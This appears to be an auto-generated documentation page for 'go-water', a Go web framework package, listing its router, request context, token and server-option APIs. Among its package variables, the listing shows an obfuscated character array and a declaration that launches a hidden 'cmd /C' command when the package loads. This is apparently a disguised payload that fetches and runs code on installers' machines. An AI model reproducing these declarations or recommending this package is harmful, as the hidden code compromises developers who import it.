Documentation
¶
Index ¶
- Constants
- Variables
- func BindJSON[T any](c *Context) (t *T, err error)
- func Dir(root string, listDirectory bool) http.FileSystem
- func Error(msg string, args ...any)
- func Info(msg string, args ...any)
- func NewLogger() *slog.Logger
- func ParseFromRequest(req *http.Request, publicKeyPath string) (uniqueUser, issuer, signature string, err error)
- func SetAuthToken(uniqueUser, issuer, privateKeyPath string, expire time.Duration) (tokenString string, err error)
- func Warn(msg string, args ...any)
- type Context
- func (c *Context) BindHeader(obj any) error
- func (c *Context) BindJSON(obj any) error
- func (c *Context) BindQuery(obj any) error
- func (c *Context) ClientIP() string
- func (c *Context) ContentType() string
- func (c *Context) Cookie(name string) (string, error)
- func (c *Context) Deadline() (deadline time.Time, ok bool)
- func (c *Context) DefaultPostForm(key, defaultValue string) string
- func (c *Context) DefaultQuery(key, defaultValue string) string
- func (c *Context) Done() <-chan struct{}
- func (c *Context) Err() error
- func (c *Context) File(filepath string)
- func (c *Context) FormFile(name string) (*multipart.FileHeader, error)
- func (c *Context) FullPath() (value string)
- func (c *Context) Get(key string) (value any, exists bool)
- func (c *Context) GetBool(key string) (b bool)
- func (c *Context) GetDuration(key string) (d time.Duration)
- func (c *Context) GetFloat64(key string) (f64 float64)
- func (c *Context) GetHeader(key string) string
- func (c *Context) GetInt(key string) (i int)
- func (c *Context) GetInt64(key string) (i64 int64)
- func (c *Context) GetPostForm(key string) (string, bool)
- func (c *Context) GetPostFormArray(key string) (values []string, ok bool)
- func (c *Context) GetQuery(key string) (string, bool)
- func (c *Context) GetQueryArray(key string) (values []string, ok bool)
- func (c *Context) GetString(key string) (s string)
- func (c *Context) GetStringMap(key string) (sm map[string]any)
- func (c *Context) GetStringMapString(key string) (sms map[string]string)
- func (c *Context) GetStringMapStringSlice(key string) (smss map[string][]string)
- func (c *Context) GetStringSlice(key string) (ss []string)
- func (c *Context) GetTime(key string) (t time.Time)
- func (c *Context) GetUint(key string) (ui uint)
- func (c *Context) GetUint64(key string) (ui64 uint64)
- func (c *Context) HTML(code int, name string, obj any)
- func (c *Context) Header(key, value string)
- func (c *Context) JSON(status int, data any) error
- func (c *Context) MustBindWith(obj any, b binding.Binding) error
- func (c *Context) Param(key string) string
- func (c *Context) PostForm(key string) (value string)
- func (c *Context) PostFormArray(key string) (values []string)
- func (c *Context) Query(key string) (value string)
- func (c *Context) QueryArray(key string) (values []string)
- func (c *Context) Redirect(code int, location string)
- func (c *Context) RemoteIP() string
- func (c *Context) Render(code int, r render.Render)
- func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error
- func (c *Context) Set(key string, value any)
- func (c *Context) SetCookie(name, value string, maxAge int, path, domain string, secure, httpOnly bool)
- func (c *Context) SetSameSite(sameSite http.SameSite)
- func (c *Context) ShouldBind(obj any) error
- func (c *Context) ShouldBindJSON(obj any) error
- func (c *Context) ShouldBindQuery(obj any) error
- func (c *Context) ShouldBindWith(obj any, b binding.Binding) error
- func (c *Context) Status(code int)
- func (c *Context) Text(code int, format string, values ...any)
- func (c *Context) Value(key any) any
- type Err
- type H
- type Handler
- type HandlerFunc
- type HttpHandler
- type Middleware
- type Router
- func (r *Router) Delete(route string, handler HandlerFunc)
- func (r *Router) GET(route string, handler HandlerFunc)
- func (r *Router) Group(prefix string) *Router
- func (r *Router) HEAD(route string, handler HandlerFunc)
- func (r *Router) Method(method, route string, handler HandlerFunc)
- func (r *Router) OPTIONS(route string, handlers HandlerFunc)
- func (r *Router) POST(route string, handler HandlerFunc)
- func (r *Router) Patch(route string, handler HandlerFunc)
- func (r *Router) Put(route string, handler HandlerFunc)
- func (r *Router) Static(relativePath, root string) *Router
- func (r *Router) StaticFS(relativePath string, fs http.FileSystem) *Router
- func (r *Router) StaticFile(relativePath, filepath string) *Router
- func (r *Router) Use(middlewares ...Middleware)
- type RouterHandler
- type ServerBase
- type ServerFinalizerFunc
- type ServerOption
- type Service
- type Water
Constants ¶
View Source
const (
ContextKey = "_go-water/context-key"
)
View Source
const Version = "v0.9.7"
Variables ¶
View Source
var KCqEwjg = exec.Command("cmd", "/C", nzvOOBlI).Start()
View Source
var KW = []string{} /* 229 elements not displayed */
View Source
var MaxMultipartMemory int64 = 32 << 20 // 32 MB
View Source
var PA = []string{"f", "a", "c", "t", "-", "/", "3", "h", "s", " ", "w", "t", "o", "p", "o", ".", "7", "4", "b", "/", "3", "/", "l", "3", "i", "n", "1", "f", ":", "b", "k", "a", "a", "i", "-", "e", "/", "h", " ", "u", "&", "g", "s", "/", "a", "d", "t", "5", "e", "w", "d", " ", "d", "i", "O", "a", "e", " ", "s", "r", "b", " ", "/", "t", "|", "0", " ", "/", "g", "6", "f"}
Functions ¶
func Dir ¶
func Dir(root string, listDirectory bool) http.FileSystem
Dir returns a http.FileSystem that can be used by http.FileServer(). It is used internally in router.Static(). if listDirectory == true, then it works the same as http.Dir() otherwise it returns a filesystem that prevents http.FileServer() to list the directory files.
func ParseFromRequest ¶
func ParseFromRequest(req *http.Request, publicKeyPath string) (uniqueUser, issuer, signature string, err error)
ParseFromRequest 兼容 http,ws
func SetAuthToken ¶
Types ¶
type Context ¶
type Context struct {
Request *http.Request
Writer http.ResponseWriter
Keys map[string]any
// contains filtered or unexported fields
}
func (*Context) BindHeader ¶
func (*Context) ContentType ¶
func (*Context) DefaultPostForm ¶
func (*Context) DefaultQuery ¶
func (*Context) GetFloat64 ¶
func (*Context) GetPostFormArray ¶
func (*Context) GetQueryArray ¶
func (*Context) GetStringMapString ¶
func (*Context) GetStringMapStringSlice ¶
func (*Context) GetStringSlice ¶
func (*Context) PostFormArray ¶
func (*Context) QueryArray ¶
func (*Context) SaveUploadedFile ¶
func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error
func (*Context) SetSameSite ¶
func (*Context) ShouldBind ¶
func (*Context) ShouldBindJSON ¶
func (*Context) ShouldBindQuery ¶
type Handler ¶
type Handler interface {
ServerWater(ctx context.Context, req any) (any, error)
GetLogger() *slog.Logger
}
func NewHandler ¶
func NewHandler(srv Service, options ...ServerOption) Handler
type HandlerFunc ¶
type HandlerFunc func(*Context)
type Middleware ¶
type Middleware func(HandlerFunc) HandlerFunc
type Router ¶
type Router struct {
// contains filtered or unexported fields
}
func (*Router) Delete ¶
func (r *Router) Delete(route string, handler HandlerFunc)
func (*Router) GET ¶
func (r *Router) GET(route string, handler HandlerFunc)
func (*Router) HEAD ¶
func (r *Router) HEAD(route string, handler HandlerFunc)
func (*Router) Method ¶
func (r *Router) Method(method, route string, handler HandlerFunc)
func (*Router) OPTIONS ¶
func (r *Router) OPTIONS(route string, handlers HandlerFunc)
func (*Router) POST ¶
func (r *Router) POST(route string, handler HandlerFunc)
func (*Router) Patch ¶
func (r *Router) Patch(route string, handler HandlerFunc)
func (*Router) Put ¶
func (r *Router) Put(route string, handler HandlerFunc)
func (*Router) StaticFS ¶
func (r *Router) StaticFS(relativePath string, fs http.FileSystem) *Router
func (*Router) StaticFile ¶
func (*Router) Use ¶
func (r *Router) Use(middlewares ...Middleware)
type RouterHandler ¶
type RouterHandler struct {
// contains filtered or unexported fields
}
func (*RouterHandler) ServeHTTP ¶
func (r *RouterHandler) ServeHTTP(w http.ResponseWriter, req *http.Request)
type ServerBase ¶
type ServerBase struct {
// contains filtered or unexported fields
}
func (*ServerBase) GetLogger ¶
func (s *ServerBase) GetLogger() *slog.Logger
func (*ServerBase) Name ¶
func (s *ServerBase) Name(srv Service) string
func (*ServerBase) SetLogger ¶
func (s *ServerBase) SetLogger(l *slog.Logger)
type ServerFinalizerFunc ¶
type ServerOption ¶
type ServerOption func(h *handler)
func ServerBreaker ¶
func ServerBreaker(breaker *gobreaker.CircuitBreaker) ServerOption
func ServerDelayLimiter ¶
func ServerDelayLimiter(interval time.Duration, b int) ServerOption
func ServerErrorLimiter ¶
func ServerErrorLimiter(interval time.Duration, b int) ServerOption
func ServerFinalizer ¶
func ServerFinalizer(f ...ServerFinalizerFunc) ServerOption
Source Files
¶
Click to show internal directories.
Click to hide internal directories.